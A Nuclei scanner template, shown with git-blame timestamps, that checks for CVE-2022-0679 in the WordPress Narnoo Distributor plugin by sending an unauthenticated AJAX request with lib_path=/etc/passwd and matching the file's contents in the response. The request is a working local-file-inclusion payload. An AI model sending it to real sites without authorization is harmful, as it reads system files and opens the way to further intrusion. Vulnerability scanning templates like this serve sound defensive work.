nuclei-templates/http/cves/2022/CVE-2022-0679.yaml

55 lines
2.3 KiB
YAML
Raw Normal View History

2022-10-03 11:02:07 +00:00
id: CVE-2022-0679
2022-10-03 11:16:49 +00:00
2022-10-03 11:02:07 +00:00
info:
name: WordPress Narnoo Distributor <=2.5.1 - Local File Inclusion
2022-10-03 11:02:07 +00:00
author: Veshraj
severity: critical
2022-10-03 20:12:16 +00:00
description: |
WordPress Narnoo Distributor plugin 2.5.1 and prior is susceptible to local file inclusion. The plugin does not validate and sanitize the lib_path parameter before being passed into a call to require() via the narnoo_distributor_lib_request AJAX action, and the content of the file is displayed in the response as JSON data. This can also lead to a remote code execution vulnerability depending on system and configuration.
2023-09-27 15:51:13 +00:00
impact: |
The vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing for further exploitation.
2023-09-06 11:59:08 +00:00
remediation: |
Update to the latest version of the WordPress Narnoo Distributor plugin (>=2.5.2) to mitigate the LFI vulnerability.
2022-10-03 20:12:16 +00:00
reference:
2022-10-03 20:13:55 +00:00
- https://wpscan.com/vulnerability/0ea79eb1-6561-4c21-a20b-a1870863b0a8
- https://nvd.nist.gov/vuln/detail/CVE-2022-0679
- https://github.com/cyllective/CVEs
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-0679
cwe-id: CWE-22
epss-score: 0.03099
epss-percentile: 0.90827
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:narnoo_distributor_project:narnoo_distributor:*:*:*:*:*:wordpress:*:*
2022-10-03 20:13:55 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 11:59:08 +00:00
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: narnoo_distributor_project
product: narnoo_distributor
2023-09-06 11:59:08 +00:00
framework: wordpress
2024-01-14 09:21:50 +00:00
tags: cve,cve2022,narnoo-distributor,wordpress,wp-plugin,wpscan,wp,rce,unauth,lfi,narnoo_distributor_project
2022-10-03 11:02:07 +00:00
http:
2022-10-03 11:02:07 +00:00
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
2022-10-03 20:12:16 +00:00
2022-10-03 11:02:07 +00:00
action=narnoo_distributor_lib_request&lib_path=/etc/passwd
matchers-condition: and
2022-10-03 11:16:49 +00:00
matchers:
2022-10-03 11:02:07 +00:00
- type: regex
2022-10-04 08:56:04 +00:00
part: body
2022-10-03 11:02:07 +00:00
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a00473045022100f1e18f63238c5c184c6cb65b5ba3a7d7adbeeedc1304f8f66c62081127fecd5602200abce5d5fc7783ac3a86c566314f76342d3f0dfa400c91464ff9a3e53a2b29a7:922c64590222798bb761d5b6d8e72950